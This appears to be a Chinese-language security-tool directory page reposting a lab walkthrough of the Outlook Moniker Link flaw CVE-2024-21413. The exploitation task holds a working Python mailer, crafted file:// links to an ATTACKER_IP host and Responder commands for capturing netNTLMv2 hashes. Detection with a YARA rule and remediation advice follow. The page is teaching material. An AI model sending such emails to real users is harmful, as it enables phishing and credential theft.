Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Moniker-Link-CVE-2024-21413- — 教育性漏洞利用,针对 CVE-2024-21413(Moniker Link),演示通过构造的超链接实现 Outlook 远程代码执行(RCE)与 NTLM 凭据泄露,并附有检测与修复指南。 | Kitploit
工具/GitHubGitHub/hau2212/moniker-link-cve-2024-21413-
漏洞分析漏洞利用钓鱼攻击学习与教育电子邮件安全实验室与实践
GitHubhau2212/moniker-link-cve-2024-21413-

Moniker-Link-CVE-2024-21413-

教育性漏洞利用,针对 CVE-2024-21413(Moniker Link),演示通过构造的超链接实现 Outlook 远程代码执行(RCE)与 NTLM 凭据泄露,并附有检测与修复指南。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
69个月前尚未审核
分享

Moniker-Link-CVE-2024-21413-

2024年2月13日,微软宣布了一个Microsoft Outlook远程代码执行与凭据泄露漏洞,编号为CVE-2024-21413(Moniker Link)。Check Point Research的Haifei Li因发现此漏洞而受到表彰。

该漏洞绕过了Outlook在处理一种特定类型的超链接(称为Moniker Link)时的安全机制。攻击者可以通过向受害者发送包含恶意Moniker Link的邮件来利用此漏洞,一旦受害者点击该超链接,Outlook就会将用户的NTLM凭据发送给攻击者。

漏洞评分详情如下表所示:

root@kitploit:~
  
CVSS	                              描述
发布日期	                      2024年2月13日
MS 文章	                        https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413
影响	                            远程代码执行与凭据泄露
严重性	                          严重
攻击复杂度	                      低
评分	                            9.8

已知受影响的Office版本如下:

root@kitploit:~
  
版本	                版本号
Microsoft                Office LTSC 2021	受影响从 19.0.0
Microsoft                365 企业应用版
受影响                 从 16.0.1
Microsoft                Office 2019
受影响                 从 16.0.1
Microsoft                Office 2016
受影响                 从 16.0.0 至 16.0.5435.1001 之前

学习目标

  • 了解漏洞的工作原理
  • 理解Outlook的“受保护视图”
  • 利用该漏洞从Outlook客户端泄露凭据
  • 检测与缓解措施

启动虚拟机

请注意,您需要同时使用AttackBox和附加到本任务中的易受攻击虚拟机。要部署附加的虚拟机,请按下方的绿色“启动机器”按钮。

THM 密钥

root@kitploit:~
  
用户名	tryhackme
密码	Kkh3gv439dnq!

问题 任务1

root@kitploit:~
  
该CVE被分配的“严重性”等级是什么?
> 答案 : 严重

任务2 Moniker Link (CVE-2024-21413)

Outlook能够将邮件渲染为HTML。您可能会注意到您喜欢的新闻通讯使用了此功能。此外,Outlook可以解析HTTP和HTTPS等超链接。然而,它也可以打开指定应用程序的URL,这些URL称为Moniker Link。通常情况下,当触发外部应用程序时,Outlook会提示安全警告。

图片

启动外部应用程序时触发Outlook的受保护视图

这个弹出窗口是Outlook的“受保护视图”的结果。受保护视图以只读模式打开包含附件、超链接及类似内容的邮件,从而阻止宏(尤其是来自组织外部的宏)等内容。

通过在超链接中使用file:// Moniker Link,我们可以指示Outlook尝试访问一个文件,例如网络共享上的文件(<a href="file://ATTACKER_IP/test">点击我</a>)。这会使用本地凭据进行SMB协议认证。然而,Outlook的“受保护视图”会捕获并阻止此尝试。

root@kitploit:~

点击我

此处的漏洞在于,我们修改超链接,在Moniker Link中包含!特殊字符和一些文本,从而绕过Outlook的受保护视图。例如:<a href="file://ATTACKER_IP/test!exploit">点击我</a>.

root@kitploit:~

点击我

作为攻击者,我们可以为此类攻击提供一个Moniker Link。请注意,共享在远程设备上不需要实际存在,因为无论如何都会尝试进行一次认证尝试,导致受害者的Windows netNTLMv2哈希被发送给攻击者。

远程代码执行(RCE)是可能的,因为Moniker Link使用了Windows上的组件对象模型(COM)。然而,解释这一点超出了本房间的范围,因为目前尚未公开针对此特定CVE实现RCE的概念验证。

问题 任务2

root@kitploit:~
  
我们在超链接中使用了哪种Moniker Link类型?
> 答案 : file://

用来绕过Outlook“受保护视图”的特殊字符是什么?
> 答案 : !
  

任务3 漏洞利用

在此攻击中,我们将向受害者发送一封包含类似于上一任务中提供的Moniker Link的邮件。作为攻击者,目标是向受害者发送一封包含能绕过Outlook“受保护视图”的Moniker Link的邮件,这样受害者的客户端将尝试从我们的攻击机器加载一个文件,从而导致捕获受害者的netNTLMv2哈希。

但首先,让我们运行一个我创建的概念验证Poc(该PoC也可在GitHub上获取)。

root@kitploit:~
'''
作者: CMNatic | https://github.com/cmnatic
版本: 1.0 | 19/02/2024
'''

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr

sender_email = '[email protected]' # 替换为您的发件人邮箱地址
receiver_email = '[email protected]' # 替换为收件人邮箱地址
password = input("请输入您的攻击者邮箱密码: ")
html_content = """\


    

点击我

""" message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # 将HTML字符串转换为字节并附加到消息对象中 msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n 邮件已发送") except Exception as error: print(error) finally: server.quit()

PoC 的作用:

  • 获取攻击者与受害者的邮箱。通常您需要使用自己的SMTP服务器(本房间已为您提供)
  • 需要密码进行认证。在本房间中,[email protected]的密码为attacker
  • 包含邮件内容(html_content),其中包含作为HTML超链接的Moniker Link
  • 然后,填写邮件中的“主题”、“发件人”和“收件人”字段
  • 最后,将邮件发送到邮件服务器

让我们使用Responder在我们的攻击机器上创建一个SMB监听器。对于THM AttackBox,接口为-I ens5。如果您使用自己的设备(例如Kali),接口名可能不同。如果您想作为家庭作业,也可以使用Impacket服务器。

在AttackBox上启动Responder

root@kitploit:~
  
root@attackbox:# responder -I ens5
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.1.0

  作者: Laurent Gaffie ([email protected])
  按CTRL-C终止此脚本

-- 为简洁起见已截断 --

[+] 正在监听事件...

让我们通过点击分屏视图中的“CVE-2024-21413”面板来打开易受攻击的虚拟机。

图片

双击桌面上的“Outlook”快捷方式打开Outlook。当Outlook打开后,在弹出的窗口中点击“我不想登录或创建帐户”。

图片

点击弹出窗口右上角的“X”来关闭第二个弹出窗口(根据您的屏幕分辨率,您可能需要将窗口向左拖动一点)。

图片

完成后,您将看到Outlook界面。在本房间中,受害者的邮箱已在Outlook中为您设置好。

图片

返回您的AttackBox。我们将把上面的PoC复制并粘贴到AttackBox中。

图片

为此,我们将在AttackBox上创建一个新文件。nano exploit.py 并使用分屏视图中的可滑动托盘。请参考下面的GIF了解操作过程。

图片

https://assets.tryhackme.com/additional/CVE-2024-21410/abcopypaste.gif

在运行Python脚本之前,我们需要在AttackBox上进行一些初始设置:

  • 修改PoC中的Moniker Link(第12行),使其反映我们AttackBox的IP地址
  • 将第31行的MAILSERVER占位符替换为10.10.17.220

完成后,我们可以运行漏洞利用程序。当提示输入攻击者邮箱密码时,输入"attacker"。

运行 exploit.py

root@kitploit:~
  
root@attackbox:# python3 exploit.py
输入您的攻击者邮箱密码: attacker

Python脚本将在邮件发送后打印"邮件已发送"。如果脚本报认证失败,请确保您已正确替换exploit.py中的值。现在,让我们返回易受攻击的虚拟机并检查新邮件:

图片

点击"点击我"超链接,然后返回我们AttackBox上的"Responder"终端会话:

图片

成功!受害者的netNTLMv2哈希已被捕获到我们的AttackBox上。

问题 任务3

root@kitploit:~
  
我们在AttackBox上用来捕获用户哈希的应用程序名称是什么?
> 答案 : responder

邮件中的超链接被点击后捕获的是什么类型的哈希?
> 答案 : netNTLMv2
  

任务4 检测

YARA

Florian Roth 创建了一条Yara规则,用于检测邮件中是否包含Moniker Link中的file:\元素。

root@kitploit:~

CVE
-2024-21413 Yara 规则由 Florian Roth 创建
user@yourmachine:# cat cve-2024-21413.yar 


rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {

   meta:

      description = "检测包含利用 CVE-2024-21413 在 Microsoft Outlook 中方法迹象的邮件"

      author = "X__Junior, Florian Roth"

      reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"

      date = "2024-02-17"

      modified = "2024-02-19"

      score = 75

   strings:

      $a1 = "Subject: "

      $a2 = "Received: "



      $xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/

   condition:

      filesize < 1000KB

      and all of ($a*)

      and 1 of ($xr*)

}

Wireshark

此外,在数据包捕获中可以看到从受害者到客户端的SMB请求,其中包含截断的netNTLMv2哈希。

图片

问题 任务4

root@kitploit:~
  
点击我以继续下一个任务!
> 答案 : 无答案

任务5 修复

微软已在二月份的“补丁星期二”发布中包含了解决此漏洞的补丁。您可以在此处查看按Office构建版本列出的KB文章列表。强烈建议通过Windows更新或Microsoft更新目录更新Office。

此外,在此期间,提醒用户遵循通用的安全实践是一个及时的措施。例如,提醒用户:

  • 不要点击随机链接(尤其来自非请求的邮件)
  • 在点击之前预览链接
  • 将可疑邮件转发给负责网络安全的相应部门 由于此漏洞绕过了Outlook的受保护视图,因此无法通过重新配置Outlook来防止此攻击。此外,完全阻止SMB协议可能弊大于利,特别是因为它是访问网络共享所必需的。不过,根据组织的具体情况,您可能能够在防火墙层面阻止此行为。

问题 任务5

root@kitploit:~
  
点击我以继续下一个任务。
> 答案 : 无答案

下载工具